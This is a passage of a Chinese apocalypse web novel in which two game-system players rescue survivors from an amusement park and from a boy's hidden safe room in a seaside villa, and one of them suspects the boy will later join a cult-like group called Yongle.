他一边读条试图在面前清理出一条路来，一边心里盘算着，十三个人，好像也很合理，这么大的游乐场，里面密密麻麻的全是人，出十三个高级异能者或者游戏玩家也很正常，然后十三个人轮流抵抗污染物，能扛到现在好像也很合理，幸好他们没跳过！ 随着他的技能一个又一个往下轰，他和陆燃越发靠近了陆燃所指的地点。 陆燃指了指不远处的一座展馆：“幸存者都在这里。” 江朗：“OK没问题。” 他精准地控制着技能范围绕开了那座展馆，将附近的污染物清理了个干净。 然后他们终于看见了幸存者们。 第42章 第 42 章 绝望游乐场（四）…… 刘雅发现自己动不了的那一瞬间, 内心充满了绝望——是游乐场里进化出方向是精神控制系的怪物了吗？？ 看来他们今天还真是要死在这里了。 唉，早知道就该早点劝林霖离开，以他的实力, 如果想要在前期离开，明明是很轻松的事。 这样想着, 她看向了林霖的方向, 却发现那孩子正双眼放光，好像完全没感受到危险一般。 但他明明和其他人一样，都被定在了一个僵硬的姿势上。 但是他好像看起来很开心，而且见她看过去, 两只眼珠子不停转动, 好像试图告诉她一些什么事一样。 没过多久, 她就懂了那孩子想要告诉她什么。 被怪物攻击得破破烂烂的墙壁上的那些洞, 原本是他们头疼的地方，现在却成了他们看见外界的最佳观赏口。 巨大的黑圈从天而降, 仅一下, 就倒下了无数的怪物。 她目测了一下，感觉这下下来至少有一个四百米操场的面积。 而那黑光非常眼熟, 就是林霖那孩子一直在用的异能之一。 她突然想起了林霖最初和她说的话。 他说, 他这些能力是加载了末世前玩过的一个游戏的游戏系统。 那时候她以为他只是以游戏系统的方式具现化了他的异能。 但是现在看来，还有别人也有同样的系统？ 不是, 这什么游戏啊, 早知道的话, 真该全民推广一下吧。 不过和墙外那道壮阔而浩荡的黑光比起来, 林霖那孩子的技能相比之下真是小打小闹。 转眼间，墙外出现了一道黑色光圈，这一次, 是从地底冒出来的，上下夹击之下，原本那些让他们头疼得不行的怪物，一瞬间就倒了一片，那熙熙攘攘看不见尽头的怪物海洋，仿佛瞬间就空出了一个大圈。 然后她，还有其他人，终于看见了搞出这番动静的人。 两个人。 一个一身黑袍，看起来很像林霖身上那套装备……的无限升级版。 隔着这么远都能看见对方的黑袍做工要比林霖身上这件精细很多。 还有一个一身白衣，他身上冒着无数根银色的丝线，正是连接到他们身上的这些古怪细线。 他们将周围直接清出一片空地后就朝着他们走来了，顺手丢着技能清理了一些从控制范围外窜进来的怪物，动作之轻松简直让人觉得——对他们来说，哪怕搞定这个游乐场所有的怪物，也不在话下。 眨眼间，那两个人已经来到了他们面前。 白衣的人不知道做了什么，但是他们瞬间感到自己的身上的控制效果被解除了。 那黑衣的年轻人朝他们打了个招呼：“你们好……呃，你们还好吗？这几天辛苦了吧！” 说着他和另外一个年轻人一起从虚空中掏出了一些东西。 刘雅定睛一看，他们掏出来的是水，压缩饼干和黄桃罐头。 那个黑衣的年轻人挠了挠头：“虽然不太好吃，但是胜在管饱，希望你们不要嫌弃。” 刘雅自觉地站出来代替其他人回答：“多谢……我们的物资确实已经快用完了，真的很感谢你们出手相助还带来物资。” 江朗摆摆手，他在看其他人。 最前面的小孩是跟他一样的秘术师，这个很明显。 面前这位女士身上战斗痕迹明显，说句负伤累累不为过，这还是她手边有红药的前提下，她应该是异能者，但是看她手上拿着的武器，感觉好像不是什么特殊异能者。 至于其他人，他们看上去几乎有些孱弱了…… 江朗：“冒昧地问一句，这里只有你觉醒了异能吗？” 刘雅：“是的，还有那个小弟弟，他说他加载了游戏系统。” 陆燃挑了挑眉。 江朗肃然起敬。 并且无比庆幸他们还是决定先来游乐场转一圈，他们两个能保住这么多普通人，也不知道做出了多少努力，两个人连轴转抵抗污染物可比十几个人轮番抵抗难度高多了，基本不会有任何休息机会。 “辛苦了，你们还有没有什么需要的？我们带了很多物资，你们需要什么都可以跟我们说。” 陆燃在旁边点点头表示赞同。 对于这两人凭一己之力抗住了全游乐场污染物的攻击还保住了十多个普通人的行为，他也深感敬佩。 刘雅刚要说没什么需要的，却突然想到林霖那宣告告罄的蓝药。 “那个……可能有些不情之请了，是这样的，那孩子为了保护大家，把他的蓝药快用完了……也不知道你们有没有多的，是不是可以稍微匀他一些……” 刘雅越说越觉得自己的要求有些过分。 她明明很清楚，这是很宝贵的物资，和其他现实物资根本不在一个衡量尺度上，但是她现在也不得不厚着脸皮说一下这件事了，因为林霖肯定不会自己主动要求，而都是他们害得这孩子用完了这个对他来说极重要的物资。 江朗：“蓝药？哦没问题啊！” 他朝旁边那个秘术师小孩走了过去：“你还剩几瓶？” 秘术师小孩：“两瓶……” 江朗：“我去……还好我们来得及时，再晚点你就要用完了吧？交易一下？拿出来的话太占地方了。” 秘术师小孩点了点头：“好……谢谢大佬。” 刘雅感觉林霖看上去怎么突然那么……谨小慎微呢？ 虽然她也觉得这孩子一开始中二病的样子太夸张了，但也没必要突然这么瑟缩吧！ 她哪里知道林霖是突然觉得自己像是回到了游戏里，他一个还没满级的菜鸡那可不是得乖乖喊别人大佬嘛。 那黑衣的青年不知道怎么操作了一番，她从旁边什么都看不出来，只听见他说了句：“好的，你收一下。” 林霖刚要确认交易，然后突然顿住了： “那个……大佬，你是不是放错了？” “嗯？我看看？没有呀，就是蓝药，你不是缺蓝药吗？” “大佬……你放了99上来。” “是啊，刚好一个格子，不要浪费嘛。” 林霖脸上浮现出了一阵迷茫。 “大佬你自己不用了吗？” 江朗爽朗一笑：“我还以为怎么了？你放心拿着好了，我们缺什么都不会缺蓝药的，我背包里总共三排大蓝，够我用到末世结束了。” 林霖：“多，多少？！” 三排，背包里一排是二十个格子，也就是说大佬装了六十个99的大蓝。 林霖：……好吧，分自己一格蓝药可能对大佬来说真的无关紧要。 “谢谢大佬……” “没事的，你还缺不缺别的？” 江朗觉得这真是个好孩子，他见惯了末世后期人人只扫门前雪的景象，见到这样愿意努力保护普通人的玩家，简直就差感动到痛哭流涕了，如果对方需要的话，他甚至愿意忍痛分对方一点游戏食物！ 林霖连忙摇头：“够了够了，谢谢大佬，真的够了，蓝药就够了。” 江朗想了一下，还是咬了咬牙：“你接交易。” 林霖迷茫地看向交易面板，然后一阵瞳孔地震。 依旧是蓝药，但是这次是食物形态的，一组减蓝耗的，一组回蓝的。 “我草！” 他忍不住骂了句脏话。 虽然在这两位大佬出现的那一瞬间，他已经意识到了这世界就算有主角也肯定不是他，但是这也太夸张了！ 他恍恍惚惚地接下大佬的好意。 然后就听见大佬问他：“你神域练到几级了？” 他突然有种在被班主任问暑假里认真学习了吗的错觉，下意识地低下了头，小小声地说道：“46级……” 江朗：“46级啊……那技能范围应该很小吧？” 江朗回忆了一下秘术师46级时候的技能范围，有些心疼这个小孩，秘术师这个职业不管是技能伤害还是技能冷却CD还是技能范围，基本都是在满级之后才能拉满的，他没满级的话……技能范围估计就是勉强一个小卧室的范围？ “那这两天你一定很辛苦了。” 林霖原本都已经开始在反思自己到底为什么之前没有好好打游戏，好好练级并做好了做检讨的准备了，突然听到一句鼓励式教育，差点眼泪汪汪。 “大佬……你们都是满级大佬吗？” 江朗咂摸了一下，虽然他经常是在游戏里被人喊大佬，但是并不是因为练到满级了这样的理由啊…… 他思考了一下还是说：“嗯嗯算是吧……” 陆燃抽动了一下嘴角礼貌地表示他get到了笑点。 江朗回忆了一下他们刚刚一路清过来的地方：“嗯……游乐场后面有家酒店你们应该知道吧，你们可以去那里修整一下，正好酒店地下还有好几个大型超市，那边的食物也会丰富一点。” 刘雅：“多谢两位，但我们有个不情之请……我们两个实在没法做到在护住所有人的情况下把大家都带到酒店去，不知道你们能不能救人救到底……” 她忍不住有些脸红，感觉自己实在要求太多了。 江朗：“我们会把这附近的污染物全部清理完毕，你们直接走大路去酒店就行，酒店那边我们已经清理完了，虽然污染物基本上是杀之不尽的状态，早晚会再冒出来，但是那种一两只的情况你和这个小秘术师就能搞定。” 刘雅：“什……什么？等一下，等一下，你说什么？” 陆燃困惑地微微偏了偏头，他不明白自己的话有哪里难懂的，但是他还是又重复了一遍：“污染物会再冒出来，但是基本都是零星的，你和他两个人应该足够应付了。” 刘雅：“不是这句……” 她脸上出现了一种被雷劈了一般的恍惚神情，因为她怎么都理解不了“把这附近的污染物全部清理完毕”这个概念，对她来说，游乐场的污染物就像是源源不断从地狱里钻出来的怪物一样，不存在“清理完毕”这个选项，因为那就像是要……抽干海里的水一样，那怎么可能是做得到的呢？ 但是她又一回想，好像是哦……这两位进来救他们的时候，那攻击范围，要把游乐场清理一遍的话，可能也就半个小时最多一个小时的事？ 好像……好像也很合理。 “好……好像是的，那么先多谢你们了。” 始终沉默着的陆燃突然说了一句：“这边的晶体你们是不是都没收集？” 刘雅困惑：“啊？晶体？什么晶体？” 陆燃刚刚趁江朗和其他人说话的时候，出去转了一圈，然后他发现这边的污染物晶体都没被采集，也不知道是对方不知道有晶体存在还是战斗太激烈没有那个时间采集。 估计是前者吧，毕竟游戏系统采集晶体太方便了。 他看了眼江朗，江朗自觉地接过话头开始解释晶体是什么东西： “嗯大概就是污染物体内会有的一颗类似于它们力量源泉的东西，一般在头部或者心脏位置，如果是根本没有头部或者心脏的污染物的话，呃……就随便翻翻吧，但是游戏系统可以直接使用采集技能收集晶体。”他转头看向小秘术师，“你学采集了吗？” 林霖完全不知道自己学没学，连忙在游戏面板上翻了起来，找了半天之后终于松了口气，抬头挺胸道：“报告！学了！” 江朗笑了下：“那就好，不然用刀子在污染物里撬来撬去翻的话还是挺难受的。” “这边的污染物晶体你们自己采集自己用吧，可以增强异能的。” 林霖兴奋地对刘雅说：“太好了雅姐！你的异能能增强！” 刘雅却第一时间意识到了江朗话中的“增强异能”省略了什么：“那游戏系统呢？也能通过晶体升级增强吗？” 江朗摇了摇头：“很遗憾，游戏系统只能靠末世前升级，晶体的能量对它不起效。” 林霖脸上不可抑制地闪过一丝遗憾，不过他很快就调整好了心态，问题不大，哪有好事都叫他赶上了的道理，能有游戏系统他已经很幸运了，不然他现在估计早就像这游乐园的大部分人一样，要么化作了形容可怖的污染物，要么就是早就死了。 他这么想的，也这么跟比他还遗憾的刘雅说的，刘雅虽然有些遗憾，但最后还是接受了这点。 陆燃：“你确定你没觉醒异能？” 江朗也突然反应过来一样：“是啊，游戏系统携带者觉醒异能的概率还是蛮高的，因为毕竟游戏系统可以提供一个稳定的变异环境嘛……你进末世那个瞬间有没有发烧的感觉？” 林霖一瞬间面露迷茫，他努力回想着，说实话，虽然也就过去两三天，但他总感觉末世刚来的那一时刻已经像是上辈子一样了。 陆燃刚要说如果异能能级比较小的话，也有可能是和他这样完全没感受到发烧的，林霖就一脸恍然大悟地说： “哦！好像……好像是发烧了，怪不得当时觉得脑袋很烫，不过我当时……呃，太兴奋了，就没怎么注意。” 现在回想起当时的兴奋，林霖只觉得想笑，他那会儿真是个白痴啊。 陆燃收回了自己本来要说的话，只是简单地盖棺定论道：“那应该就是有异能的。” “你试着感受一下身体里有没有多出一股不属于你的能量。” 林霖满脸迷茫——这要怎么感受？ 但是看着陆燃严肃的脸庞，他也不敢说自己不知道该怎么去感受……总有种面对数学老师时不敢说自己其实没听懂的错觉。 于是他只能沉下心神，很努力地去感受所谓“能量”。 十几秒后，他很想睁开眼说，我什么都没感受到，是不是我就是没异能啊……但是刚睁开半只眼，就看见那两位一个一脸严肃一个一脸期待地看着他，他光速地又闭上了眼。 这一次，他很努力地排除了所有外界干扰，他好像什么都听不见了，耳朵里只有血液流经身体的汩汩响声。 然后他感受到了，真的有不属于他的“能量”在他体内，虽然很少很少，但真的有，然后他试着去拨动那些能量，然后他有种感觉。 他的异能被他激发了。 “哇！” 刘雅兴奋的声音将他从那个黑暗的世界唤醒，他睁开眼，带着一丝期待，然后看见了他的异能—— 一团很小很小的光。 而他隐隐有感觉，那是可以治愈别人的光。 陆燃：“什么效果？” 林霖挺直了脊背：“好像是治疗异能。” 陆燃点了点头：“那很不错，你发烧症状不太严重，又花了这么久才找到异能，应该是说明初始异能能量级比较小，没事，问题不大，你多拿晶体喂它就好了。” 江朗看陆燃难得话多了几句，大概是想到他那压根喂不饱的异能了吧…… 大致给这些人讲清楚末世的常识之后，陆燃和江朗就去清理游乐园的其他的污染物了。 因为其他地方并没有任何幸存者，所以他们的动作很快，很快就搞定了这一片区域。 第43章 第 43 章 海滨别墅的小孩 “呼——呼——” 狭小而安静的密室里, 陈辰星本应只能听见自己的呼吸声。 但是太清楚了，所有声音都好清楚，不光是一墙之隔的怪物正在挠墙的声音, 还有楼下那只恶心的拖着长舌头的怪物的舌头在地上拖来拖去的声音，还有房子外面的声音, 还有一些更远的声音, 比如海浪的哗哗声，甚至离得很远很远的“邻居”房里的身影。 不止离他最近的那几栋，他指的是，他好像听得见整个别墅区所有的声音。 而且……好吵。 所有的声音都好清晰好清晰, 他简直像是能把声音立刻转换为图案一般, 所以他现在脑内是无数场景重叠的状态。 他看向门旁边的显示器, 显示器没开着, 因为这些奇怪事情发生的那一刻，家里的所有电器都坏了, 这个本应能显示房子内部所有房间的监视器当然也坏了。 不过它的损坏基本没有对陈辰星造成任何影响, 因为他光是靠听的，就可以描绘出楼上楼下所有的场景。 事实上, 如果这个监视器还完好无损, 他估计也会把这东西砸坏，因为真的好吵。 如果它还在正常运作, 那么他就不得听着房内声音的双重奏, 那种微妙的延迟大概会把他逼疯。 但是他能听到的那么那么多声音里, 却没有一个活人的声音。 好像没什么值得奇怪的, 如果不是爸爸妈妈为他建了这么一个铜墙铁壁的密室，他应该也早就死了。 他伸手从架子上拿下一包薯片和一瓶可乐，他头疼得厉害, 只想吃点不健康的零食。 不过可乐已经快没了。 他在这里藏了快一个月，哪怕爸爸妈妈给他准备了充足的食物，但这些物资也绝不是无限的。 他优先吃了那些他喜欢吃的东西，可乐已经只剩两瓶了，薯片也只剩一个已经吃腻的口味了。 但是除了房间内即将只剩下一些他不太爱吃的零食这一问题以外，他还有另一件更需要担心的事。 那就是房间内的物资，哪怕他尽可能减少能量损耗，估计也顶多再让他撑十天。 十天后，他要怎么办？ 出去喂“鱼”？还是选择安全地饿死在这间密室里？ 这可真是个艰难的抉择。 然后他听到了，他听到了人的声音，人的声音，车的声音，他们在开车，偶尔停下来，目前正在前往他的方向，但是他们或许只是路过——不行！他不能放过这个机会！. 黑色的光圈在天空中缓慢凝聚，它的笼罩之下，是一幢C市随处可见的普通高楼，虽然它现在看上去一点都不普通。 贯穿了整幢楼墙体的藤蔓让这栋楼的墙体彻底扭曲但又不至于倒塌，强度极高的藤蔓代替钢筋成了这座楼的新的支撑。 湮灭之环落下，缠绕着贯穿着整座楼的藤蔓化作飞灰，失去了支撑的高楼也轰然倒下。 所幸这里除了陆燃和江朗两个人也没别人了，也没别的污染物了，所以完全不用担心误伤到其他活物。 陆燃无所事事地坐在车上看着江朗放完一个大招回车上——他现在都懒得下车。 他们两人在C市高强度巡逻了快一个月之后，剩下的都是这种可以直接犁平的只剩污染物的地方。 比较地狱一点说就是，由于存在的幸存者越来越少，他们的清理行动的效率大大提高。 他们现在基本两三天才能偶尔看见一个或者两个比较顽强的幸存者，通常都是躲在地下室这种地方所以才活到了现在。 而且随着时间流逝，污染物的数量也在自然地减少，那些强大的污染物早就完成第一次进化，把周围的弱小污染物杀的杀，驯服的驯服，所以他们要动手的次数也随之下降了。 如果还有别的理由的话……大概是他们之前从游乐场救下来的刘雅和林霖两人也在努力打怪救人。 那孩子觉醒的是治疗系异能，所以哪怕背包里的红药已经用完了，倒也不用担心受伤和治疗问题，那个女人的打法凶猛而刚勇，仗着队里有治疗而且已经对疼痛快没感觉了所以都是以伤换伤的高杀伤力打法，再加上他们把游乐场打下来的晶体全部用完后，两个人的异能都升了好几波级，实力大大提升，因此这两人成队效率也很高。 刚把他们救出来的那两天，陆燃他们经常照原定路线清着清着就发现，怎么总有些地方明显已经来过人，然后在撞上了这两人一次之后，陆燃决定终结这没效率的局面，拿出地图给他们选了点污染物密度没那么高的地方，然后这些地方他就只是在江朗开车回程路过的时候放个精神链接检查一下是不是真的没人了。 但是又过了几天，他又发现不光是那些给这两人划定的区域里污染物被明显清理过，他和江朗依旧能撞上奇怪的干净区域。 然后陆燃终于想了起来，哦，他好像不止给这两个人划分了救人区域。 在末日刚来的那天，他好像从医院里救了两个人，然后跟他们说如果非想做什么回报他的话，就沿着另一个方向去救人吧。 陆燃：“……” 说实话，他已经快忘了这两个人了。 他们不会现在还在满C市勤勤恳恳救人吧？ 这年头原来除了江朗还有这么多好人。 他把这事跟江朗说了一下，江朗也感动得两眼汪汪：“呜呜呜……这世上还是好人多啊！！果然改变末世环境从我做起！多救一个人就可能多救好多人！救人是对的是对的！” 江朗感动完之后，问陆燃：“这两个人很强吗？能坚持这么久？我们要不要去找找他们？看看他们需不需要红药啊之类的援助？” 陆燃想了一下，觉得可以，现阶段他们已经不再需要争分夺秒了，因为争分夺秒也没什么用了，地狱一点讲就是，人都差不多死完了，只有少数幸运儿中的幸运儿还在努力活着，他们动作快点慢点，能造成的影响已经微乎其微，还是花点时间找找这两个好人在哪比较好，以防他们不小心挂了。 但是想找归想找，C市这么大要，找两个移动的人堪称大海捞针，所以他们始终都没找到这两个人。 不过应该都活着，因为他们间歇性还是会撞见清扫得非常干净的区域。 “C市，差不多快搞定了。” “嗯，确实。” 说着，江朗朝他们的最后一个目标点开去。 不过他们没抱太高的期待，因为他们留到最后的是一处海景房区。 之所以把海边这块地方留到最后，是因为大海里的污染物基本清不干净，早点清理也没用，反正又会有污染物不停爬上来。 而且这片区域住房的密度比较低，那么长一条海岸线，里面的房子却数得过来，都是独栋别墅，冷血一点说就是，来这边救人的效率太低了，所以直接被陆燃安排到了最后。 把车停下，这次江朗也懒得下车了，甚至懒得熄火，陆燃放了个精神链接，然后冲江朗摇了摇头，示意这栋楼没活人，江朗就直接从车上放了个技能清了一下怪，然后用上收集技能，然后马不停蹄地赶往了下一栋别墅。 即使江朗开车开得很快，而且他们并没有太注重把路上的所有污染物都清理干净——毕竟这里随时都会冒出新的污染物，有点漏网之鱼完全无所谓——他们依旧花了五六分钟才开到下一栋别墅前，这就是他们选择把这片别墅区放到最后的原因了，有这时间，他们一整片小区都清完了。 江朗踩下刹车的同时，陆燃已经放出了技能，他再一次摇了摇头：“没有。” 江朗手里捏着的技能就直接放了出去。 就这样一小时过去，总共路经十栋房子，幸存者数量为0，考虑到密度问题，这个存活率就算在末世刚来那天都算正常的。 江朗再一次刹车的时候，陆燃放出技能后却突然皱了皱眉。 江朗立刻问：“怎么了？有人活着？” 陆燃罕见地流露出了一丝犹豫：“可能有。” 江朗一懵：“啊？可能有？” 他的迷惑溢于言表，陆燃的技能比透视挂还透视挂，所以为什么会有“可能”这种词出现在这里？ 陆燃很快就解答了他的问题。 “不是这片区域的，你有没有听见有人在敲摩斯密码？大概在这个方向，比较远，可能有三千米左右。” 江朗又一懵。 不过他习惯性地相信了陆燃的判断，他闭上眼，细心去倾听远处的声音，说实话，他完全没听到任何和摩斯密码沾边的声音。 这里虽然是僻静偏远的别墅区，但是干扰杂音一点没少。 海风呼啸的声音。 海浪阵阵的声音。 还有污染物们制造出来的嘈杂动静。 这些声音全部夹杂在一起让他想要从中辨认出某个特定的而且不是很重的声音变得格外困难。 他其实都不知道三千米真的还在他听力范围内吗？虽然他知道自己的视觉和听觉在末世来临之后都大幅提升，但是这提升真有夸张到可以听见三千米以外的敲击声吗？他其实还有点困惑陆燃是怎么判断出距离的，待会儿还得问问他。 不过既然陆燃说了，那他就试试看。 他努力仔细去听……去听……去听…… 然后，他真的听到了。 在那一大片混乱的杂音中，有一个很轻但是明显有规律的敲击声。 他立刻睁开双眼：“我听到了！” 他和陆燃对视一眼，直接开车前往该方向。 虽然他和陆燃没有一个懂摩斯密码的，完全不知道这段敲击声是什么意思，但是不管这段敲击声代表了什么意思，都意味有人活着。 这就够了。 江朗将油门踩到底，也不管别墅区原本的路在哪了，直接切直线近道向目标疾驰而去。 然后猛地一个漂移停住了车，两个人立刻冲进了屋内。 陆燃下车的时候已经放出了精神链接，不过并未控制着感受到的那个属于人类的意识光点直接出来，因为这个阶段的幸存者大部分都没那个力气走动，他们已经很久没进行这套操作了。 “二楼。” 陆燃言简意赅，江朗三步并作两步大跨步上了楼，随手一个小技能清理了一下二楼楼梯口的怪。 “嗯？” 陆燃有些迷惑。 江朗也跟着迷惑：“怎么了？” 陆燃定定地看着左右都是卧室的走道底部的那堵墙，陷入了沉思。 是他的技能第一次出现了bug还是这个幸存者真的躲在了墙里。 他如实把情况告诉了江朗。 江朗迷惑地走上前，在墙上敲了两下，又从上至下摸了一遍。 “会有什么机关吗？” 陆燃：“应该吧，就是不知道在哪里。” 两个人刚要分头去周围寻找可能存在的机关，一阵沉闷的推移声响了起来。 那声音，就跟电影里的银行金库门开了的声音差不多，让人立刻想起了比砖还厚的金属门。 而在他们面前缓慢打开的，确实就是这样一道门。 他们眼睁睁地看着面前的那堵墙朝外“打开”了。 然后露出了里面的景象。 这是一间无窗且逼仄的密室，结构让人感到非常压抑，毕竟是建在墙体里的，狭长但极窄，但是里头倒是什么都有。 左边的架子上分门别类地摆好了各种食物，水，饮料，冲泡式饮料，速食食品，水果罐头，还有各种小零食，已经被拿走了很多，但大致还能看得出当初的储备有多么充足。 右边是个开放式衣柜，里面有各种厚度各种款式的衣服。 最里面甚至还有个小浴室，浴缸加一个马桶。 然后剩下不多的空间里还有张小桌子，桌子上有一台电脑一个平板，虽然现在都用不了了，但是看得出在建造这个密室的时候，建造者充分考虑了使用者的所有需求。 而这间密室的中心，是一个看起来应该是小学年纪的孩子。 他看上去有点过度紧张，他手里紧紧地捏着一根铁棍，看得出他很努力在试图相信他们这两个路过的过路人是好人，但是还是过不去心里的恐惧。 陆燃本来有些奇怪为什么这个看上去面面俱到的密室里为什么给这孩子配了这么个武器，一旦和一个成年男人对峙，这铁棍太容易被抢走了，不过他很快就看到了地上丢着的电击防狼器，于是他理解了，末世带来的磁场变动导致电器用不了了这种事确实很难考虑到。 陆燃将目光重新移回这个孩子身上，除了紧张以外，他看上去……状态还好。 也确实，毕竟这密室里什么都有，唯一的问题可能是会诱发幽闭恐惧症，不过相比末世里其他人，这孩子已经算过得很幸福了。 “可以……可以救救我吗？” 这孩子礼貌且怯生生地问。 江朗立刻点点头，露出一个巨大的笑容：“当然了！我们就是来救你的！” 他弯下腰准备把这孩子抱起来带回车上。 然后他突然顿住了。 陆燃奇怪地看了他一眼，不太懂为什么江朗突然停住了，他们一直都默认江朗负责和幸存者交谈，除了陆燃实在懒得和人讲话这个理由以外，还有个重要原因也是江朗比较有亲和力，他出去讲话比较能安慰到好不容易挺过艰难阶段等来救援的幸存者。 江朗也很好地完成了这个需要满脸笑容的角色，直到现在。 不知道为什么，他那从来足够纯粹，开朗到没有一丝阴霾的脸上，出现了凝重的表情，他原本的笑容僵在脸上，显得有些诡异。 他对面的孩子都有些被吓到，原本就是一副鼓足勇气打开门跟他们说话的样子，现在更是直接抱着他那根铁棍朝后退了两步。 陆燃迷惑地看了眼江朗，又看了眼那个小孩，虽然这个小孩手里紧紧地捏着一根铁棍，但是就他拿棍的姿势，一看就杀伤力为0，为什么江朗会露出这样凝重的表情？ 不过他还是顺从地临时接过了对接职责，上前一步对那小孩说： “我们就是来救你的，你走得动吗？走得动就跟我们出来吧。” 他的语气有些冷硬，表情更是平板，但相较起江朗那个诡异的表情还是让这孩子松了口气，忙不迭地点起了头。 “谢谢谢谢，谢谢你们。” 他抱着铁棍跟着陆燃走出了这间密室。 陆燃注意到，这孩子出来之后并没有对那些被银色丝线定在原地的污染物展现出任何惊讶的神情。 所以他本来就看见了他们进来时的情况？那密室有洞吗？还是什么？ 那看来这孩子倒也不算很轻信，不完全是随便开门的，至少有观察一下他们。 他把这孩子送上车之后，转头看去。 江朗虽然没掉队，也跟着出来了，但依旧一脸凝重，虽然凝重归凝重，他还是挥挥手清理掉了这座房子里以及周围这片区域的污染物并对晶体进行了收集。 他上车之后，听见后座上传来小小的一声“哥哥好厉害”，语气里颇有几分讨好，可能是刚刚被江朗吓到了。 陆燃看向江朗的脸，如果是平时，有这么个小孩子对着江朗夸厉害，他肯定会拿出幼师般的演技回一句“是啊是啊，哥哥厉害吧，那你想不想像哥哥一样厉害呀？想？那就要多吃蔬菜多喝牛奶！”，但是此时的江朗，却一脸警惕，本就凝重的表情更是多出了几分杀意。 陆燃挑了挑眉。 他有些好奇，但肯定不会当着这个小孩的面询问。 他只是好奇这个小孩的危险性在哪。 于是他只是普通地坐回了自己的座位，顺便系上了安全带。 第44章 第 44 章 永乐 安静。 车上安静得可怕。 只能听见引擎作响还有江朗偶尔换挡的声音。 哦还有他们三个的呼吸声。 原本他们两人开着车到处跑的时候, 虽然他自己基本不出声，顶多就是“嗯”“啊”地应和几句，但江朗总是叽叽喳喳地有一堆话要说, 一个人聊出了四个人的效果，所以车内总是很热闹的, 但现在江朗也不说话了, 于是气氛便格外沉默。 他们开到下一栋别墅的时候，照旧停下车，两个人轮番放技能，确认没活人, 然后清除所有污染物, 并收集晶体。 然后开车前往下下栋。 这么几次之后, 车后座的小孩突然出声：“你们……是在找还有没有其他人活下来吗？” 陆燃自觉地代替江朗回答：“是的。” 那小孩于是怯怯地说：“这里没有别的人活着了……我是指这一片别墅区都没了。” 陆燃挑了挑眉：“你是怎么知道的？” 小孩：“我听到的。” 陆燃再一次挑了挑眉, 如果这个小孩没有在说谎的话，那他的听力范围也太可怕了。 他和江朗在经过游戏系统和异能觉醒带来的双重强化后, 听力的极限距离也只有几千米。 而这个孩子, 能听到这整片沿海别墅区内的声音，几乎是他们的几十倍。 “你确定吗？” “嗯, 我很确定。” 就在这时, 江朗却冷硬地插嘴：“还是去检查一下比较好。” 陆燃帮着补充了一句：“嗯，我们不光是来救人的, 还要清理一下污染物。” 小孩点点头：“原来是这样啊, 好厉害。” 原来不是看到, 是听到。 陆燃若有所悟, 他之前的疑惑被解答了——这个孩子是怎么知道密室以外发生了什么的。 他们安静地驶过这片别墅区的每一栋房子，从头到尾地清扫了一遍，然后离开了这里, 朝游乐场旁边那家酒店开去。 随着刘雅和林霖救下来的人越来越多，以及他们救下来的异能者救下来的人也越来越多，他们那边逐渐形成了一个比较热闹的聚居地，陆燃和江朗救完人之后，如果对方能自己移动，他们会给他们指个路，让他们知道这地方有许多幸存者聚集，不太方便行动的他们就直接把对方带过去，反正现在已经到了不需要抢时间的时候。 把这个孩子送到酒店之后，陆燃将他交给了一个负责引导新人（？）的异能者，然后拍了拍江朗的肩膀，朝外走去。 回到车里后，又等江朗上车，陆燃想了一下那孩子的听力范围，于是驱车先开了几十公里，江朗就在副驾坐着，一言不发。 感觉差不多到安全距离了，陆燃停下车，他看了眼江朗那张藏不住事的脸，慢慢说道：“你应该知道，如果他真有什么问题，你这样表现除了提起他的警惕以外也是毫无作用。” 江朗冷酷的神色瞬间破功，他有些泪目：“好像是哦……” 陆燃：“不过也无所谓吧，他的异能应该是纯辅助类别的，也没什么攻击能力，你就算引起了他的警惕，他也做不了什么，大概率连逃走的决心都很难下定，毕竟他没有什么对抗污染物的能力。” “所以他到底有什么问题，如果你真的很顾忌他，最多也不过是直接斩草除根，倒也不必这么忧虑。” 江朗犹豫了一下：“我不确定是不是我认错人了，因为我认识的那张脸，比这张脸应该大了十岁，其实我也只是觉得有点像……” 陆燃直入重点：“异能呢？” 江朗：“……一样的，超强的听力范围，甚至可以纯靠听就绘制出一栋建筑的内部结构。” 陆燃盖棺定论：“那就是同一个人。” 语气笃定，没给江朗留任何一点希望。 江朗叹了口气：“确实，不是一个人的概率很小，只是这个孩子，看上去……明明很正常很乖巧啊……怎么会……” 陆燃：“你在哪见到他的？” 江朗：“严格来说，我没有见过他，我只是看过他的画像。” 陆燃听着有些好奇，画像真能对应上真人吗？这画得是有多好？ 江朗似乎光速懂了他的关注点，立刻解释道：“有个人，异能觉醒方向就是绘画，所以和照片没什么差别。” 陆燃恍然。 江朗接着说：“这个小孩，他属于……他未来属于，一个叫做永乐的组织，这个组织……嗯，都是一群疯子吧，他们的宗旨就是要用尽一切手段让末世永不停止，因为他们觉得末世就是乐园，他们希望这个乐园永远持续下去。” “可以想见，会持有这种想法的人肯定是在末世里占尽了便宜与优势的人，所以这个组织的实力很强劲，汇聚了大量强大且残忍的异能者。” “末世持续了大概五六年之后，研究所建立了，因为研究所成立的初衷就是研究出末世的起因并且想办法结束它，所以理所当然地成了永乐的眼中钉。” “它们原本只是一个四处捣乱的比较松散散乱的组织，但在有了研究所这个‘必须毁灭的目标’之后，就突然变得很有凝聚力，他们组织了非常多次针对研究所的攻击。” “我不算研究所的人，毕竟我大部分时间都在路上找你，但是我也希望他们成功，所以接过一两次研究所的保护任务。” “研究所里有一个异能乍一听有点没用但是有些时候真挺有用的人，他的异能是只要知道一个人的名字就能非常写实地画下对方，永乐所有人的画像资料都是他这样画出来的——只能说幸好永乐的人都非常中二，打架之前都爱先报名号。” “然后我当时接下任务之后，看了永乐一些主要成员的资料，这个小孩就是其中之一。” “他的长相变动不算太大，可以说是等比例长大的，所以我刚看见他就认出来了，但是当时还不敢确定，因为他现在看起来真的……很正常，一点也不像是会加入那个疯子组织的样子。” “但是听完他说自己的异能之后，我感觉这就真的没跑了吧，我没听说过末世里有第二个人是这样的异能，虽然觉醒方向是五感增强的异能者不算少，但是一般都是五感同时增强，很少有单一方向的纯粹听觉增强，更没听说过范围这么广，精度这么高的。” “据说他是永乐唯一一个负责侦查的人，因为用不上其他人，他当初只靠听，就把研究所内部的结构，人员组成，还有各种防御工事全都摸透了，他长的简直不是耳朵，而是一双自带透视挂的眼睛，嗯……也许他长的是蝙蝠的耳朵？” 